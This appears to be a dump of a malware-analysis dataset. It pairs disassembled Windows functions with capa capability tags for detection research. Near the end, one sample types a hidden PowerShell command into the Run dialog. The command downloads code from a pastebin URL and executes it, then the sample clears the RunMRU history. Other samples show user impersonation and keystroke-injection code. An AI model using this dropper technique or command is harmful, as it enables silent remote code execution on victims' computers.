joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18004429c
Capabilities:
Access peb ldr_data

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x3f8
movdqa xmmword [rsp + 0x3e0], xmm15

Function at 0x18004879b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xf8
mov esi, edx
sub r8w, word [rcx + 0x1a]
imul r8w, word [rcx + 0x1c]
mov rax, qword [rsp + 0x170]
movzx r14d, dx
sub si, word [rcx + 0x18]
mov rdx, qword [rsp + 0x160]
add esi, r8d
mov r8d, 0xffff
and esi, r8d
mov r10, qword [rcx + 0x18]
mov r11, r10
shr r11, 0x20
add r11w, r10w
cmovb r11d, r8d
and r11d, r8d
mov r8, qword [rsp + 0x168]
add r8, r14
mov rbp, 0xffffffffffffffff
cmovae rbp, r8
cmp r11, rbp
cmovb rbp, r11
xor r8d, r8d
lea rbx, [rsp + 0x58]
mov qword [rbx], r8
mov qword [rbx + 0x10], r8
mov qword [rbx + 0x20], r8
mov qword [rbx + 0x28], rdx
mov qword [rbx + 0x30], r8
mov r10b, 2
mov byte [rbx + 0x38], r10b
mov r11d, 0xf020001
mov dword [rbx + 0x3c], r11d
mov dil, 0xf
mov byte [rbx + 0x40], dil
mov qword [rbx + 0x48], r8
mov qword [rbx + 0x58], r8
mov qword [rbx + 0x68], rdx
mov qword [rbx + 0x70], rdx
mov qword [rbx + 0x78], r8
mov byte [rbx + 0x80], r10b
mov dword [rbx + 0x84], r11d
mov byte [rbx + 0x88], dil
mov rdi, r14
mov qword [rbx + 0x90], r9
mov qword [rbx + 0x98], rdx
mov rdx, qword [rcx + 8]
mov r14, qword [rcx + 0x10]
mov cl, byte [rax]
mov byte [rsp + 0x2d], cl
mov ecx, dword [rax]
mov dword [rsp + 0x40], ecx
mov ecx, dword [rax + 4]
mov dword [rsp + 0x3c], ecx
mov cl, byte [rax + 4]
mov byte [rsp + 0x2c], cl
movzx ecx, word [rax + 8]
mov word [rsp + 0x2e], cx
movzx eax, word [rax + 0xa]
not eax
mov dword [rsp + 0x44], eax
mov qword [rsp + 0x30], rdx
lea rax, [rdx + 0x28]
mov qword [rsp + 0x48], rax
mov rcx, rbx
call fcn.1800430ea
test rax, rax
je 0x1800489b4
mov r12, rax
mov r13, rdx
mov rcx, rax
call fcn.180065eb2
test rax, rax
je 0x1800488c2
mov r15, rax
mov rax, rbp
sub rax, rdi
mov ecx, 0
cmovae rcx, rax
cmp r15, rcx
ja 0x1800489b4
cmp r14, rsi
jbe 0x1800489dc
mov qword [rsp + 0x50], rdi
lea rdi, [rsi + rsi*4]
mov rax, qword [rsp + 0x30]
lea rcx, [rax + rdi*8]
mov qword [rcx + 0x10], 0
mov r8, r12
add r8, r13
mov rdx, r12
call fcn.180027cd4
cmp byte [rsp + 0x2d], 0x13
je 0x180048946
mov rax, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x40]
mov dword [rax + rdi*8 + 0x18], ecx
cmp byte [rsp + 0x2c], 0x13
je 0x18004895a
mov rax, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x3c]
mov dword [rax + rdi*8 + 0x1c], ecx
mov rcx, qword [rsp + 0x30]
movzx eax, word [rcx + rdi*8 + 0x20]
or ax, word [rsp + 0x2e]
and eax, dword [rsp + 0x44]
mov word [rcx + rdi*8 + 0x20], ax
lea r13, [r15 + rsi]
inc rsi
cmp rsi, r13
jae 0x1800489a4
mov rax, qword [rsp + 0x48]
lea r12, [rax + rdi*8]
lea rdi, [r15 - 1]
cmp r14, rsi
jbe 0x1800489ca
mov rcx, r12
call fcn.18004870d
inc rsi
add r12, 0x28
dec rdi
jne 0x18004898b
mov rdi, qword [rsp + 0x50]
add rdi, r15
mov rsi, r13
jmp 0x1800488c2
mov eax, edi
add rsp, 0xf8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, [0x180086040]
mov rcx, rsi
mov rdx, r14
call fcn.180076220
lea r8, [0x180086028]
jmp 0x1800489d1
Function at 0x18004b6f1
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x1b8
lea rbp, [rsp + 0x80]
and rsp, 0xffffffffffffff80
mov rsi, rdx
mov rdi, rcx
mov r14, qword [rdx + 0x28]
mov r15b, byte [rdx + 0x30]
lea rcx, [rsp + 0x80]
call fcn.18004abb9
mov rax, qword [rsi + 0x60]
mov qword [rsp + 0x78], rax
movabs rax, 0x7465646279746573
movabs rcx, 0x6c7967656e657261
movabs rdx, 0xded7d4e2d7dedfc6
movabs r8, 0xa60c596fc19fead0
movabs r9, 0xe414a674f0de7325
mov r12d, 1
lock xadd qword [0x1800a13d0], r12
mov r10, r12
xor r10, rax
lea r13, [r10 + rcx]
mov r11, r10
rol r11, 0x10
xor r11, r13
lea rbx, [r11 + rdx]
rol r11, 0x15
add r10, r8
mov r13, r10
xor r13, r9
rol r10, 0x20
xor r12, rbx
add r12, r13
rol r13, 0xd
xor r11, rbx
xor r13, r12
rol r12, 0x20
btc r11, 0x3b
add r10, r11
rol r11, 0x10
xor r11, r10
add r12, r11
rol r11, 0x15
add r10, r13
rol r13, 0x11
xor r11, r12
xor r13, r10
rol r10, 0x20
btc r12, 0x3b
add r12, r13
rol r13, 0xd
xor r13, r12
rol r12, 0x20
xor r10, 0xff
add r10, r11
rol r11, 0x10
xor r11, r10
add r12, r11
rol r11, 0x15
add r10, r13
rol r13, 0x11
xor r13, r10
rol r10, 0x20
xor r11, r12
add r12, r13
rol r13, 0xd
xor r13, r12
rol r12, 0x20
add r10, r11
rol r11, 0x10
xor r11, r10
add r12, r11
rol r11, 0x15
add r10, r13
rol r13, 0x11
xor r13, r10
rol r10, 0x20
xor r11, r12
add r12, r13
rol r13, 0xd
add r10, r11
rol r11, 0x10
xor r11, r10
rol r11, 0x15
xor r13, r12
add r10, r13
rol r13, 0x11
mov r12, r10
rol r12, 0x20
xor r12, r13
xor r12, r11
xor r12, r10
je 0x18004b766
mov rbx, qword [rsi + 0x58]
movups xmm0, xmmword [rsi + 0x38]
movups xmm1, xmmword [rsi + 0x48]
movups xmmword [rdi + 0x128], xmm1
movups xmmword [rdi + 0x118], xmm0
mov qword [rdi + 0x138], r14
mov byte [rdi + 0x140], r15b
lea rdx, [rsp + 0x80]
mov r8d, 0x100
mov rcx, rdi
call fcn.180073920
mov rax, qword [rsp + 0x78]
mov qword [rdi + 0x100], rax
mov qword [rdi + 0x108], r12
mov qword [rdi + 0x110], rbx
mov rax, qword [rsi + 0x10]
shl rax, 1
test rax, rax
je 0x18004b8f1
mov r8, qword [rsi + 0x18]
mov rcx, qword [0x1800a14a8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
lea rsp, [rbp + 0x138]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x180054520
Capabilities:
Encode data using xor

Disassembly:
mov rax, rdx
sub rdx, rcx
cmp rdx, 0x20
jae fcn.18001f200
cmp rax, rcx
je 0x180054545
cmp rdx, 4
jae 0x180054548
xor eax, eax
xor r8d, r8d
jmp 0x1800545e0
xor eax, eax
ret
mov r8, rdx
and r8, 0xfffffffffffffffc
pxor xmm0, xmm0
xor eax, eax
movdqa xmm2, xmmword [0x18007b150]
movdqa xmm3, xmmword [0x18007b160]
pxor xmm1, xmm1
nop dword [rax]
movzx r9d, word [rcx + rax]
movd xmm4, r9d
movzx r9d, word [rcx + rax + 2]
movd xmm5, r9d
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm0, xmm4
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm4, xmm5, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
add rax, 4
cmp r8, rax
jne 0x180054570
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
movq rax, xmm0
cmp r8, rdx
je 0x1800545f7
nop dword [rax]
xor r9d, r9d
cmp byte [rcx + r8], 0xc0
setge r9b
add rax, r9
inc r8
cmp rdx, r8
jne 0x1800545e0
ret

Function at 0x180058cd0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
Function at 0x180061730
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rbp
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov qword [rbp - 8], 0xfffffffffffffffe
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
mov edx, 0x10
call qword [sym.imp.advapi32.dll_SystemFunction036]
test al, al
je 0x180061773
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
add rsp, 0x80
pop rbp
ret
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x10]
mov qword [rbp - 0x30], rax
lea rax, [fcn.18005e0c0]
mov qword [rbp - 0x28], rax
lea rax, str.fallback_RNG_broken:
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 1
mov qword [rbp - 0x40], 0
lea rax, [rbp - 0x30]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
lea rdx, str.5Q8X_cc___cr_3i__PkwwV__v_W_Rf_JS____ui
lea rcx, [rbp - 0x60]
call fcn.180076160
ud2
Function at 0x1800670f1
Capabilities:
Create process on windows

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rbx, rdx
mov rsi, rcx
mov rdx, qword [rcx + 0x10]
cmp rdx, qword [rcx]
jne 0x180067117
mov rcx, rsi
call fcn.18003b4ac
mov rdx, qword [rsi + 0x10]
mov rdi, qword [rsi + 8]
mov byte [rdi + rdx], 0
inc rdx
mov qword [rsi + 0x10], rdx
mov r15, qword [rbx]
mov rdx, qword [rbx + 0x10]
cmp rdx, r15
jne 0x180067141
mov rcx, rbx
call fcn.18003b4ac
mov r15, qword [rbx]
mov rdx, qword [rbx + 0x10]
mov r14, qword [rbx + 8]
mov byte [r14 + rdx], 0
inc rdx
mov qword [rbx + 0x10], rdx
mov dword [rsp + 0x28], 6
mov qword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r8, rdi
mov r9, r14
call sub.shell32.dll_ShellExecuteA
test r15, r15
je 0x180067188
mov rcx, qword [0x1800a14a8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi], 0
je 0x1800671ac
mov rcx, qword [0x1800a14a8]
xor edx, edx
mov r8, rdi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x1800672b0
Capabilities:
Impersonate user

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x80
mov rbx, r8
mov rdi, rdx
mov rsi, rcx
lea r13, [rsp + 0x30]
mov qword [r13], 0
mov rdx, qword [rdx + 8]
mov r8, qword [rdi + 0x10]
lea r14, [rsp + 0x38]
mov rcx, r14
call fcn.18006722a
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea r15, [rsp + 0x50]
mov rcx, r15
call fcn.18006722a
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
lea r12, [rsp + 0x68]
mov rcx, r12
call fcn.18006722a
mov r14, qword [r14 + 8]
mov r15, qword [r15 + 8]
mov r12, qword [r12 + 8]
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], 0
mov rcx, r14
mov rdx, r15
mov r8, r12
mov r9d, 3
call sub.advapi32.dll_LogonUserW
test eax, eax
je 0x18006735e
mov rcx, qword [rsp + 0x30]
call sub.advapi32.dll_ImpersonateLoggedOnUser
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rsp + 0x68], 0
je 0x180067378
mov rcx, qword [0x1800a14a8]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x50], 0
je 0x180067392
mov rcx, qword [0x1800a14a8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x38], 0
je 0x1800673ac
mov rcx, qword [0x1800a14a8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbx], 0
je 0x1800673c5
mov r8, qword [rbx + 8]
mov rcx, qword [0x1800a14a8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rdi], 0
je 0x1800673de
mov r8, qword [rdi + 8]
mov rcx, qword [0x1800a14a8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi], 0
je 0x1800673f7
mov r8, qword [rsi + 8]
mov rcx, qword [0x1800a14a8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x180069c10
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180069c38
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180069c38
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x180077d70
Capabilities:
Link many functions at runtime

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rcx, str.api_ms_win_core_synch_l1_2_0.dll
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
test rax, rax
je 0x180077dc5
mov rdi, rax
lea rdx, str.WaitOnAddress
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x180077dc5
mov rsi, rax
lea rdx, str.WakeByAddressSingle
mov rcx, rdi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x180077dc5
mov r14, rax
xor edi, edi
jmp 0x180077e4d
lea rcx, [0x180085a70]
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
test rax, rax
je 0x180077eb8
mov rsi, rax
lea rdx, str.NtCreateKeyedEvent
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x180077eb8
mov rbx, rax
lea rdx, str.NtReleaseKeyedEvent
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x180077eb8
mov rdi, rax
lea rdx, str.NtWaitForKeyedEvent
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x180077eb8
mov rsi, rax
lea rcx, [rsp + 0x28]
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call rbx
test eax, eax
jne 0x180077eb8
mov r14, qword [rsp + 0x28]
mov al, byte [0x1800a1528]
mov edx, 0x18
xor ecx, ecx
call fcn.180061f70
test rax, rax
je 0x180077eed
mov rbx, rax
mov qword [rax], rdi
mov qword [rax + 8], rsi
mov qword [rax + 0x10], r14
xor eax, eax
lock cmpxchg qword [0x1800a13b8], rbx
je 0x180077eab
mov rsi, rax
cmp qword [rbx], 0
je 0x180077e96
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [0x1800a14a8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, rsi
mov rax, rbx
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rax, str.parking_lot_requires_either_NT_Keyed_Events__WinXP__or_WaitOnAddress_WakeByAddress__Win8_
lea rcx, [rsp + 0x28]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x180091580]
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
lea rdx, str.u_J_____pYx__SY__r__6V___Nu_GS_Y6__g__iVo_BEG5_____9_DU_H__58Eo__JN_xti____H_nm_qF_4x_3___R_s_cvvfD_1Zp_EtT___z__AWj___H_b__b
call fcn.180076160
mov ecx, 8
mov edx, 0x18
call fcn.180074c70
int3
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400055e0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400055f0]
mov dword [rax], 1
mov rax, qword [0x140005600]
mov dword [rax], 1
mov rax, qword [0x140005570]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1400055d0]
mov dword [0x14000800c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x1400056b0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140005690]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140005530]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x140005630]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x140005640]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140008008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x1400055a0]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call dbg._pei386_runtime_relocator
mov rcx, qword [dbg._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x140005620]
lea rcx, [dbg.__mingw_invalidParameterHandler]
mov qword [rdx], rax
call sym._set_invalid_parameter_handler
call dbg._fpreset
mov ebx, dword [0x140008028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sym.malloc
mov r12, qword [0x140008020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [r12 + rbx]
call sym.strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sym.malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sym.memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x140008020], rbp
call dbg.__main
mov rax, qword [0x1400055b0]
mov r8, qword [0x140008018]
mov ecx, dword [0x140008028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140008020]
call sym.main
mov ecx, dword [0x14000800c]
mov dword [0x140008010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140008008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x140005640]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call dbg._amsg_exit
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x140005660]
mov rcx, qword [0x140005650]
call sym._initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sym._cexit
mov eax, dword [0x140008010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x140005680]
mov rcx, qword [0x140005670]
mov dword [rsi], 1
call sym._initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sym.exit
nop
Function at 0x140001450
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov qword [rbp + 0x10], rcx
pxor xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movq qword [rbp - 0x30], xmm0
mov dword [rbp - 0x50], 1
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::begin___const
mov qword [rbp - 0x58], rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::end___const
mov qword [rbp - 0x60], rax
jmp 0x1400015dd
lea rax, [rbp - 0x58]
mov rcx, rax
call method.__gnu_cxx::__normal_iterator_char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____.operator___const
movzx eax, byte [rax]
mov byte [rbp - 9], al
movzx eax, byte [rbp - 9]
movsx eax, al
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_VkKeyScanA]
call rax
mov word [rbp - 0xc], ax
movzx eax, word [rbp - 0xc]
movzx eax, al
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_MapVirtualKeyA]
call rax
mov word [rbp - 0xe], ax
movsx rax, word [rbp - 0xc]
shr rax, 8
movzx eax, al
and eax, 1
test eax, eax
setne al
mov byte [rbp - 0xf], al
cmp byte [rbp - 0xf], 0
je 0x140001529
mov word [rbp - 0x48], 0x10
mov dword [rbp - 0x44], 0
lea rax, [rbp - 0x50]
mov r8d, 0x28
mov rdx, rax
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_SendInput]
call rax
movzx eax, word [rbp - 0xc]
movzx eax, al
mov word [rbp - 0x48], ax
movzx eax, word [rbp - 0xe]
mov word [rbp - 0x46], ax
mov dword [rbp - 0x44], 0
lea rax, [rbp - 0x50]
mov r8d, 0x28
mov rdx, rax
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_SendInput]
call rax
mov dword [rbp - 0x44], 2
lea rax, [rbp - 0x50]
mov r8d, 0x28
mov rdx, rax
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_SendInput]
call rax
cmp byte [rbp - 0xf], 0
je 0x1400015ae
mov word [rbp - 0x48], 0x10
mov dword [rbp - 0x44], 2
lea rax, [rbp - 0x50]
mov r8d, 0x28
mov rdx, rax
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_SendInput]
call rax
mov dword [rbp - 0x14], 0
lea rdx, [rbp - 0x14]
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::chrono::duration_long_long__std::ratio_1ll__1000ll___.duration_int__void__int_const_
lea rax, [rbp - 0x20]
mov rcx, rax
call method.void_std::this_thread::sleep_for_long_long__std.ratio_1ll__1000ll____std::chrono::duration_long_long__std::ratio_1ll__1000ll____const_
lea rax, [rbp - 0x58]
mov rcx, rax
call method.__gnu_cxx::__normal_iterator_char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____.operator__
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x58]
mov rcx, rax
call method.bool___gnu_cxx::operator__char_const__std::__cxx11::basic_string_char__std::char_traits_char___std.allocator_char________gnu_cxx::__normal_iterator_char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______con
test al, al
jne 0x1400014a1
nop
nop
sub rsp, 0xffffffffffffff80
pop rbp
ret
Function at 0x1400016bb
Capabilities:
Delete registry key

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov dword [rbp - 0x10], 1
lea rdx, [rbp - 0x10]
lea rax, [rbp - 0x18]
mov rcx, rax
call method.std::chrono::duration_long_long__std::ratio_1ll__1000ll___.duration_int__void__int_const_
lea rax, [rbp - 0x18]
mov rcx, rax
call method.void_std::this_thread::sleep_for_long_long__std.ratio_1ll__1000ll____std::chrono::duration_long_long__std::ratio_1ll__1000ll____const_
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerRunMRU
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
call rax
mov dword [rbp - 0xc], eax
nop
add rsp, 0x40
pop rbp
ret
Function at 0x140001712
Capabilities:
Create process on windows
Run powershell expression

Disassembly:
push rbp
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
call dbg.__main
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, str.shell:::2559a1f3_21d7_11d4_bdaf_00c04f60b9f0
lea r8, str.explorer
lea rax, str.open
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteW]
call rax
mov qword [rbp - 8], 0
jmp 0x14000178c
mov dword [rbp - 0x24], 0x64
lea rdx, [rbp - 0x24]
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::chrono::duration_long_long__std::ratio_1ll__1000ll___.duration_int__void__int_const_
lea rax, [rbp - 0x30]
mov rcx, rax
call method.void_std::this_thread::sleep_for_long_long__std.ratio_1ll__1000ll____std::chrono::duration_long_long__std::ratio_1ll__1000ll____const_
lea rax, section..rdata
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_FindWindowA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
sete al
test al, al
jne 0x140001769
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SetForegroundWindow]
call rax
mov dword [rbp - 0x18], 0x64
lea rdx, [rbp - 0x18]
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::chrono::duration_long_long__std::ratio_1ll__1000ll___.duration_int__void__int_const_
lea rax, [rbp - 0x20]
mov rcx, rax
call method.void_std::this_thread::sleep_for_long_long__std.ratio_1ll__1000ll____std::chrono::duration_long_long__std::ratio_1ll__1000ll____const_
lea rax, [rbp - 0x11]
mov qword [rbp - 0x10], rax
nop
nop
lea rdx, [rbp - 0x11]
lea rax, [rbp - 0x50]
mov r8, rdx
lea rdx, str.powershell.exe__WindowStyle_Hidden__nologo__ExecutionPolicy_Bypass__Command___Invoke_Expression__Invoke_WebRequest__Uri_https:__pastebin.com_raw_Y6AKJ2JT__UseBasicParsing_.Content_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 0x11]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.isWindowActive_HWND___
test al, al
je 0x14000183b
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.typeString_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
call sym.pressEnter__
jmp 0x140001866
lea rax, [0x140005182]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140005550]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
call sym.clearRunHistory__
mov ebx, 0
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x1400018b5
add rsp, 0x88
pop rbx
pop rbp
ret